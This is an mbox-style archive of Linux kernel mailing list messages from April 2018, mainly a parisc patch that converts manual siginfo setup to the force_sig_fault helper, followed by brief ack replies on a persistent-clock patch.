        with ESMTP id S1755172AbeDTOqD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 10:46:03 -0400
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
        by out02.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1f9XIY-00087Y-H2; Fri, 20 Apr 2018 08:46:02 -0600
Original-Received: from [97.119.174.25] (helo=x220.int.ebiederm.org)
        by in02.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1f9XE7-0006Ha-5D; Fri, 20 Apr 2018 08:41:42 -0600
X-Mailer: git-send-email 2.14.1
In-Reply-To: <87604mhrnb.fsf@xmission.com>
X-XM-SPF: eid=1f9XE7-0006Ha-5D;;;mid=<20180420143811.9994-13-ebiederm@xmission.com>;;;hst=in02.mta.xmission.com;;;ip=97.119.174.25;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX18D1qBSFZdC3966ZjR5PAF5I9jO5/2sHtw=
X-SA-Exim-Connect-IP: 97.119.174.25
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  0.7 XMSubLong Long Subject
        *  1.5 XMNoVowels Alpha-numberic number with no vowels
        *  1.5 TR_Symld_Words too many words that have symbols inside
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5000]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa07 1397; Body=1 Fuz1=1 Fuz2=1]
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
        *  0.4 FVGT_m_MULTI_ODD Contains multiple odd letter combinations
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
        *  0.1 XMSolicitRefs_0 Weightloss drug
X-Spam-DCC: XMission; sa07 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: *****;linux-arch@vger.kernel.org
X-Spam-Relay-Country: 
X-Spam-Timing: total 15035 ms - load_scoreonly_sql: 0.05 (0.0%),
        signal_user_changed: 2.6 (0.0%), b_tie_ro: 1.81 (0.0%), parse: 1.72 (0.0%),
        extract_message_metadata: 20 (0.1%), get_uri_detail_list: 6 (0.0%),
        tests_pri_-1000: 2.9 (0.0%), tests_pri_-950: 1.23 (0.0%), tests_pri_-900:
        1.01 (0.0%), tests_pri_-400: 48 (0.3%), check_bayes: 47 (0.3%), b_tokenize:
        20 (0.1%), b_tok_get_all: 14 (0.1%), b_comp_prob: 3.8 (0.0%),
        b_tok_touch_all: 6 (0.0%), b_finish: 1.41 (0.0%), tests_pri_0: 520 (3.5%),
        check_dkim_signature: 0.64 (0.0%), check_dkim_adsp: 2.9 (0.0%),
        tests_pri_500: 14434 (96.0%), poll_dns_idle: 14422 (95.9%), rewrite_mail:
        0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in02.mta.xmission.com)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746515 gmane.linux.kernel.cross-arch:43613 gmane.linux.ports.parisc:28538
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746515>

Filling in struct siginfo before calling force_sig_info a tedious and
error prone process, where once in a great while the wrong fields
are filled out, and siginfo has been inconsistently cleared.

Simplify this process by using the helper force_sig_fault.  Which
takes as a parameters all of the information it needs, ensures
all of the fiddly bits of filling in struct siginfo are done properly
and then calls force_sig_info.

In short about a 5 line reduction in code for every time force_sig_info
is called, which makes the calling function clearer.

Cc: James Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
---
 arch/parisc/kernel/ptrace.c    | 11 ++------
 arch/parisc/kernel/traps.c     | 63 ++++++++++++++----------------------------
 arch/parisc/kernel/unaligned.c | 16 +++--------
 arch/parisc/math-emu/driver.c  |  9 ++----
 arch/parisc/mm/fault.c         | 25 +++++++----------
 5 files changed, 39 insertions(+), 85 deletions(-)

diff --git a/arch/parisc/kernel/ptrace.c b/arch/parisc/kernel/ptrace.c
index b1c12ceb1c88..7aa1d4d0d444 100644
--- a/arch/parisc/kernel/ptrace.c
+++ b/arch/parisc/kernel/ptrace.c
@@ -76,8 +76,6 @@ void user_enable_single_step(struct task_struct *task)
 	set_tsk_thread_flag(task, TIF_SINGLESTEP);
 
 	if (pa_psw(task)->n) {
-		struct siginfo si;
-
 		/* Nullified, just crank over the queue. */
 		task_regs(task)->iaoq[0] = task_regs(task)->iaoq[1];
 		task_regs(task)->iasq[0] = task_regs(task)->iasq[1];
@@ -90,12 +88,9 @@ void user_enable_single_step(struct task_struct *task)
 		ptrace_disable(task);
 		/* Don't wake up the task, but let the
 		   parent know something happened. */
-		clear_siginfo(&si);
-		si.si_code = TRAP_TRACE;
-		si.si_addr = (void __user *) (task_regs(task)->iaoq[0] & ~3);
-		si.si_signo = SIGTRAP;
-		si.si_errno = 0;
-		force_sig_info(SIGTRAP, &si, task);
+		force_sig_fault(SIGTRAP, TRAP_TRACE,
+				(void __user *) (task_regs(task)->iaoq[0] & ~3),
+				task);
 		/* notify_parent(task, SIGCHLD); */
 		return;
 	}
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 98f9f2f85940..132b09c657ff 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -297,14 +297,8 @@ void die_if_kernel(char *str, struct pt_regs *regs, long err)
 #define GDB_BREAK_INSN 0x10004
 static void handle_gdb_break(struct pt_regs *regs, int wot)
 {
-	struct siginfo si;
-
-	clear_siginfo(&si);
-	si.si_signo = SIGTRAP;
-	si.si_errno = 0;
-	si.si_code = wot;
-	si.si_addr = (void __user *) (regs->iaoq[0] & ~3);
-	force_sig_info(SIGTRAP, &si, current);
+	force_sig_fault(SIGTRAP, wot,
+			(void __user *) (regs->iaoq[0] & ~3), current);
 }
 
 static void handle_break(struct pt_regs *regs)
@@ -488,9 +482,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 {
 	unsigned long fault_address = 0;
 	unsigned long fault_space = 0;
-	struct siginfo si;
+	int si_code;
 
-	clear_siginfo(&si);
 	if (code == 1)
 	    pdc_console_restart();  /* switch back to pdc if HPMC */
 	else
@@ -573,7 +566,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	case  8:
 		/* Illegal instruction trap */
 		die_if_kernel("Illegal instruction", regs, code);
-		si.si_code = ILL_ILLOPC;
+		si_code = ILL_ILLOPC;
 		goto give_sigill;
 
 	case  9:
@@ -584,7 +577,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 	case 10:
 		/* Privileged operation trap */
 		die_if_kernel("Privileged operation", regs, code);
-		si.si_code = ILL_PRVOPC;
+		si_code = ILL_PRVOPC;
 		goto give_sigill;
 
 	case 11:
@@ -607,20 +600,16 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		}
 
 		die_if_kernel("Privileged register usage", regs, code);
-		si.si_code = ILL_PRVREG;
+		si_code = ILL_PRVREG;
 	give_sigill:
-		si.si_signo = SIGILL;
-		si.si_errno = 0;
-		si.si_addr = (void __user *) regs->iaoq[0];
-		force_sig_info(SIGILL, &si, current);
+		force_sig_fault(SIGILL, si_code,
+				(void __user *) regs->iaoq[0], current);
 		return;
 
 	case 12:
 		/* Overflow Trap, let the userland signal handler do the cleanup */
-		si.si_signo = SIGFPE;
-		si.si_code = FPE_INTOVF;
-		si.si_addr = (void __user *) regs->iaoq[0];
-		force_sig_info(SIGFPE, &si, current);
+		force_sig_fault(SIGFPE, FPE_INTOVF,
+				(void __user *) regs->iaoq[0], current);
 		return;
 		
 	case 13:
@@ -628,13 +617,11 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 		   The condition succeeds in an instruction which traps
 		   on condition  */
 		if(user_mode(regs)){
-			si.si_signo = SIGFPE;
 			/* Let userspace app figure it out from the insn pointed
 			 * to by si_addr.
 			 */
-			si.si_code = FPE_CONDTRAP;
-			si.si_addr = (void __user *) regs->iaoq[0];
-			force_sig_info(SIGFPE, &si, current);
+			force_sig_fault(SIGFPE, FPE_CONDTRAP,
+					(void __user *) regs->iaoq[0], current);
 			return;
 		} 
 		/* The kernel doesn't want to handle condition codes */
@@ -743,14 +730,10 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 			return;
 
 		die_if_kernel("Protection id trap", regs, code);
-		si.si_code = SEGV_MAPERR;
-		si.si_signo = SIGSEGV;
-		si.si_errno = 0;
-		if (code == 7)
-		    si.si_addr = (void __user *) regs->iaoq[0];
-		else
-		    si.si_addr = (void __user *) regs->ior;
-		force_sig_info(SIGSEGV, &si, current);
+		force_sig_fault(SIGSEGV, SEGV_MAPERR,
+				(code == 7)?
+				((void __user *) regs->iaoq[0]) :
+				((void __user *) regs->ior), current);
 		return;
 
 	case 28: 
@@ -764,11 +747,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 				"handle_interruption() pid=%d command='%s'\n",
 				task_pid_nr(current), current->comm);
 			/* SIGBUS, for lack of a better one. */
-			si.si_signo = SIGBUS;
-			si.si_code = BUS_OBJERR;
-			si.si_errno = 0;
-			si.si_addr = (void __user *) regs->ior;
-			force_sig_info(SIGBUS, &si, current);
+			force_sig_fault(SIGBUS, BUS_OBJERR,
+					(void __user *)regs->ior, current);
 			return;
 		}
 		pdc_chassis_send_status(PDC_CHASSIS_DIRECT_PANIC);
@@ -783,11 +763,8 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 				"User fault %d on space 0x%08lx, pid=%d command='%s'\n",
 				code, fault_space,
 				task_pid_nr(current), current->comm);
-		si.si_signo = SIGSEGV;
-		si.si_errno = 0;
-		si.si_code = SEGV_MAPERR;
-		si.si_addr = (void __user *) regs->ior;
-		force_sig_info(SIGSEGV, &si, current);
+		force_sig_fault(SIGSEGV, SEGV_MAPERR,
+				(void __user *)regs->ior, current);
 		return;
 	    }
 	}
diff --git a/arch/parisc/kernel/unaligned.c b/arch/parisc/kernel/unaligned.c
index 30b7c7f6c471..932bfc0b7cd8 100644
--- a/arch/parisc/kernel/unaligned.c
+++ b/arch/parisc/kernel/unaligned.c
@@ -452,10 +452,8 @@ void handle_unaligned(struct pt_regs *regs)
 	unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
 	int modify = 0;
 	int ret = ERR_NOTHANDLED;
-	struct siginfo si;
 	register int flop=0;	/* true if this is a flop */
 
-	clear_siginfo(&si);
 	__inc_irq_stat(irq_unaligned_count);
 
 	/* log a message with pacing */
@@ -691,21 +689,15 @@ void handle_unaligned(struct pt_regs *regs)
 
 		if (ret == ERR_PAGEFAULT)
 		{
-			si.si_signo = SIGSEGV;
-			si.si_errno = 0;
-			si.si_code = SEGV_MAPERR;
-			si.si_addr = (void __user *)regs->ior;
-			force_sig_info(SIGSEGV, &si, current);
+			force_sig_fault(SIGSEGV, SEGV_MAPERR,
+					(void __user *)regs->ior, current);
 		}
 		else
 		{
 force_sigbus:
 			/* couldn't handle it ... */
-			si.si_signo = SIGBUS;
-			si.si_errno = 0;
-			si.si_code = BUS_ADRALN;
-			si.si_addr = (void __user *)regs->ior;
-			force_sig_info(SIGBUS, &si, current);
+			force_sig_fault(SIGBUS, BUS_ADRALN,
+					(void __user *)regs->ior, current);
 		}
 		
 		return;
diff --git a/arch/parisc/math-emu/driver.c b/arch/parisc/math-emu/driver.c
index 0d10efb53361..0590e05571d1 100644
--- a/arch/parisc/math-emu/driver.c
+++ b/arch/parisc/math-emu/driver.c
@@ -81,7 +81,6 @@ int
 handle_fpe(struct pt_regs *regs)
 {
 	extern void printbinary(unsigned long x, int nbits);
-	struct siginfo si;
 	unsigned int orig_sw, sw;
 	int signalcode;
 	/* need an intermediate copy of float regs because FPU emulation
@@ -93,7 +92,6 @@ handle_fpe(struct pt_regs *regs)
 	 */
 	__u64 frcopy[36];
 
-	clear_siginfo(&si);
 	memcpy(frcopy, regs->fr, sizeof regs->fr);
 	frcopy[32] = 0;
 
@@ -118,11 +116,8 @@ handle_fpe(struct pt_regs *regs)
 
 	memcpy(regs->fr, frcopy, sizeof regs->fr);
 	if (signalcode != 0) {
-	    si.si_signo = signalcode >> 24;
-	    si.si_errno = 0;
-	    si.si_code = signalcode & 0xffffff;
-	    si.si_addr = (void __user *) regs->iaoq[0];
-	    force_sig_info(si.si_signo, &si, current);
+	    force_sig_fault(signalcode >> 24, signalcode & 0xffffff,
+			    (void __user *) regs->iaoq[0], current);
 	    return -1;
 	}
 
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 51215b0048ef..a80117980fc2 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -353,23 +353,22 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	up_read(&mm->mmap_sem);
 
 	if (user_mode(regs)) {
-		struct siginfo si;
+		int signo, si_code;
 
-		clear_siginfo(&si);
 		switch (code) {
 		case 15:	/* Data TLB miss fault/Data page fault */
 			/* send SIGSEGV when outside of vma */
 			if (!vma ||
 			    address < vma->vm_start || address >= vma->vm_end) {
-				si.si_signo = SIGSEGV;
-				si.si_code = SEGV_MAPERR;
+				signo = SIGSEGV;
+				si_code = SEGV_MAPERR;
 				break;
 			}
 
 			/* send SIGSEGV for wrong permissions */
 			if ((vma->vm_flags & acc_type) != acc_type) {
-				si.si_signo = SIGSEGV;
-				si.si_code = SEGV_ACCERR;
+				signo = SIGSEGV;
+				si_code = SEGV_ACCERR;
 				break;
 			}
 
@@ -377,17 +376,16 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 			/* fall through */
 		case 17:	/* NA data TLB miss / page fault */
 		case 18:	/* Unaligned access - PCXS only */
-			si.si_signo = SIGBUS;
-			si.si_code = (code == 18) ? BUS_ADRALN : BUS_ADRERR;
+			signo = SIGBUS;
+			si_code = (code == 18) ? BUS_ADRALN : BUS_ADRERR;
 			break;
 		case 16:	/* Non-access instruction TLB miss fault */
 		case 26:	/* PCXL: Data memory access rights trap */
 		default:
-			si.si_signo = SIGSEGV;
-			si.si_code = (code == 26) ? SEGV_ACCERR : SEGV_MAPERR;
+			signo = SIGSEGV;
+			si_code = (code == 26) ? SEGV_ACCERR : SEGV_MAPERR;
 			break;
 		}
-
 #ifdef CONFIG_MEMORY_FAILURE
 		if (fault & (VM_FAULT_HWPOISON|VM_FAULT_HWPOISON_LARGE)) {
 			unsigned int lsb = 0;
@@ -409,12 +407,9 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 			return;
 		}
 #endif
-
 		show_signal_msg(regs, code, address, tsk, vma);
 
-		si.si_errno = 0;
-		si.si_addr = (void __user *) address;
-		force_sig_info(si.si_signo, &si, current);
+		force_sig_fault(signo, si_code, (void __user *) address, current);
 		return;
 	}
 
-- 
2.14.1



From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: time: Convert read_persistent_clock() to read_persistent_clock64()
Date: Fri, 20 Apr 2018 17:23:55 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <CAK8P3a0PWLG4XZEMU2XoYiKirdq1nnkOVTLyr=S59cxvNvHuTw@mail.gmail.com>
References: <4914b33abd8969906d2db0ae5c3da4f205f0bfe9.1524120572.git.baolin.wang@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1524237717 29052 195.159.176.226 (20 Apr 2018 15:21:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 15:21:57 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Alexandre Belloni <alexandre.belloni@bootlin.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        gregkh <gregkh@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Mark Brown <broonie@kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Baolin Wang <baolin.wang@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 17:21:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9XrD-0007SB-Bp
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 17:21:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755768AbeDTPX7 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 11:23:59 -0400
Original-Received: from mail-qt0-f196.google.com ([209.85.216.196]:34866 "EHLO
        mail-qt0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755748AbeDTPX5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 11:23:57 -0400
Original-Received: by mail-qt0-f196.google.com with SMTP id s2-v6so10104373qti.2;
        Fri, 20 Apr 2018 08:23:56 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=ZJ1dRl7YEPwHxGxtbaATXB1t2n8SK4j+fZcl0OrogbQ=;
        b=eR+FcmFct2GwH91f3SQEJf39PPo+Xx7LevIjyLLiGXEHHzeHJYh9kt9fgD41Fe7MCI
         7IjtG3Uc8RCJ0Y5mLJYu0WQ22hU2LLoKCNLxvT8tgccaYQZmXpWE4qR/1UxS2y65mH3w
         Iyk+uqEeYM/MVjtTvxxzICScASEh0k77Xq/EPnHQbCaI0EIMrqPIjQHUzybIbkcqUH/P
         RbnVO0Nn6m2achf5zU2R2HqCPCaxTwDcXXPgtqLQuKLUdruWAebhJQGFmOBNyXv1RacK
         p/L6JXV/MIqsaSn7tH4t5B1u2lp+KBn63HrerqnsX9PsmVYFvVcN6XM//31SplMC1AEG
         0D7w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=ZJ1dRl7YEPwHxGxtbaATXB1t2n8SK4j+fZcl0OrogbQ=;
        b=VByYwyJrCo7U/qAcD76MepJXQ7syoKr+iJgufeE8FveeJZpBStR1pvXDYPmzbhEa4N
         qgP1cr7J5q8h+NuMRjd4H6oS6r9wpuHPZDLboEczYBsn6YavH7HVQZsfTKiFWGdOwpz5
         p/TeJP4SkelmFzOAm6SpXYLpqGj68xBbtSnU2AAV9nLkeo8xA8nZFT+dgdZsSkQZoJAF
         AIrNH5q8CRerpwIgzXlgTHphZ4/6B++A1cxls/+IolWyYYLfakUABxz6aIGWD27l+XbI
         /bwpQSj/SErorENmgcM4c54ltxZ4ypl/kqBZUs0HWDg7EF5F/xNoWU6oDxYKZgYClytg
         qPlg==
X-Gm-Message-State: ALQs6tDV1j+Nd6F21A8pRoYg2ONEkSXEzn8VwUdvWAVFsSp/O8rBJugF
        2ZkCLhkOaVX66DwpSRwm0awIxUb8gg5yq43npH8=
X-Google-Smtp-Source: AIpwx4/Y+OoYVB7XVxsyThxiiK+tsTa/1bsYmoLQlkV63zV1QGHjnQoiZK/jYkmY15BlXaR0ZX4Q8xdf8hfKhNz5j2s=
X-Received: by 10.55.33.169 with SMTP id f41mr11005902qki.174.1524237836316;
 Fri, 20 Apr 2018 08:23:56 -0700 (PDT)
Original-Received: by 10.12.185.25 with HTTP; Fri, 20 Apr 2018 08:23:55 -0700 (PDT)
In-Reply-To: <4914b33abd8969906d2db0ae5c3da4f205f0bfe9.1524120572.git.baolin.wang@linaro.org>
X-Google-Sender-Auth: aaGFrCfWRvznszzBvCqD9Hhrwi8
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746548 gmane.linux.ports.parisc:28539
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746548>

On Thu, Apr 19, 2018 at 8:51 AM, Baolin Wang <baolin.wang@linaro.org> wrote:
> The read_persistent_clock() uses a timespec, which is not year 2038 safe
> on 32bit systems. On parisc architecture, we have implemented generic RTC
> drivers that can be used to compensate the system suspend time, but the
> RTC time can not represent the nanosecond resolution, so this patch just
> converts to read_persistent_clock64() with timespec64.
>
> Signed-off-by: Baolin Wang <baolin.wang@linaro.org>

I have created the exact same patch a while ago but never submitted that.

If the parisc maintainers want to apply yours with my Ack, that
would be appreciated.

Acked-by: Arnd Bergmann <arnd@arndb.de>


From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: time: Convert read_persistent_clock() to
 read_persistent_clock64()
Date: Fri, 20 Apr 2018 20:13:38 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <7a243faa-14c8-ec8f-9f98-cda6dc58d6b3@gmx.de>
References: <4914b33abd8969906d2db0ae5c3da4f205f0bfe9.1524120572.git.baolin.wang@linaro.org>
 <CAK8P3a0PWLG4XZEMU2XoYiKirdq1nnkOVTLyr=S59cxvNvHuTw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524247915 30248 195.159.176.226 (20 Apr 2018 18:11:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 18:11:55 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Alexandre Belloni <alexandre.belloni@bootlin.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        gregkh <gregkh@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        Mark Brown <broonie@kernel.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>, Baolin Wang <baolin.wang@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 20:11:50 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9aVd-00074x-4E
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 20:11:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753722AbeDTSNy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 14:13:54 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:44613 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753677AbeDTSNw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 14:13:52 -0400
Original-Received: from [192.168.20.60] ([89.244.181.192]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MV5tl-1evbMf10EX-00YQDj; Fri, 20
 Apr 2018 20:13:40 +0200
In-Reply-To: <CAK8P3a0PWLG4XZEMU2XoYiKirdq1nnkOVTLyr=S59cxvNvHuTw@mail.gmail.com>
Content-Language: en-US
X-Provags-ID: V03:K1:ZssoM/DGpvyoCkRg6jZSNYUgAdJ/pVNLMJnaVcdmw4UHM50Z95+
 EKGz7ILn/f93qEq18+NKSCDskMzWMvzsGrwTnAS+2MgtNBEQmcuyM0Z8dlA8yBhNO006I0o
 WjpzQM9bh1CAziusLZaejzWG45VuKMGY/3a17TwNW8yjP160GEZpfDRHjlTZGEt75ZQpo3d
 chCQEC5PUVuSDbP7yH79g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:B4eahmyzBuc=:VjUjb4OroGUPa2hNvVF7ds
 O/ZHfA+Yo2K3VtTySyXhIkQcLIR6+3IKSPWnCRojaF4PxNGkcBaZ2jvliZyXFDXll4af+GMi4
 fdZ/yj3luFag1ScjM7sGHUED6XLxAm1bd1flxN1lifRIFZTJSOjao6ofaRQMM/m1hNp6jOBZV
 YMgntCqn+39k9HVCsykij2/1HwqpgVPwT79z2zsRKqRlOxUbYc809t+VQ0tUBOGDflV+OP2Rg
 Rj5XDfehGfukfdX2LG7rTy1I/szjoQy0XgWDvxzRDgZtaemlvEqy7wi/16bDKzmVs8TmUI6sN
 zB0MgJCmccGv8JMV+gm/8uddmcx9QMsir5+oKmRC04AbE7prnPfjQdo8s6rDSlzFfColh5XLb
 Wu9ATZ+qOqieXVNV4e9E4CNS2Kc8jxaSO/52GtlYPYVvyBTw5GXem1lABO8x/wyE9mE2ljzqf
 k2imcMxukpCBxwSFcbkUYpzsE40ir/8PQxTtVU7wz1NAF7X6XdaPMfBJeGxDfiA8L6dnZAq7r
 FUL8S7WlG2ndDC1V4sSmhoSUfqZjMPkBvk2poJzmQsLJGHqcUbkEc0kVVd2c9aNhkMUoZyuhz
 mH77mSsdRscFEjainyK31nHMtzktNlOVrcdxbPLu4RkNSiQyJRrOILL51apV475HiOnbPBAkR
 /rdpFR24ZGIOjp/Zy9LGsbaDX9NNs6aNODZ2l+DcQEwFVZVnaPxL828m/L4ZYRTGdJyvwBPd+
 3/W8KE/okwAfFdclH7eslxTVQ3Q4Hk5eRPaJnbzpiAdEohAge+dmrDqCXGfn91uFeBb/mPcO 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746723 gmane.linux.ports.parisc:28540
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746723>

On 20.04.2018 17:23, Arnd Bergmann wrote:
> On Thu, Apr 19, 2018 at 8:51 AM, Baolin Wang <baolin.wang@linaro.org> wrote:
>> The read_persistent_clock() uses a timespec, which is not year 2038 safe
>> on 32bit systems. On parisc architecture, we have implemented generic RTC
>> drivers that can be used to compensate the system suspend time, but the
>> RTC time can not represent the nanosecond resolution, so this patch just
>> converts to read_persistent_clock64() with timespec64.
>>
>> Signed-off-by: Baolin Wang <baolin.wang@linaro.org>
> 
> I have created the exact same patch a while ago but never submitted that.
> 
> If the parisc maintainers want to apply yours with my Ack, that
> would be appreciated.
> 
> Acked-by: Arnd Bergmann <arnd@arndb.de>

Thanks, I'll take it through the parisc git tree.

Helge


From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Fri, 20 Apr 2018 20:22:08 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <5f57a530-c9e8-0fbd-4eba-ba6995320c10@bell.net>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <20180420112426.3c8be653@wim.jer>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524270020 25058 195.159.176.226 (21 Apr 2018 00:20:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 00:20:20 +0000 (UTC)
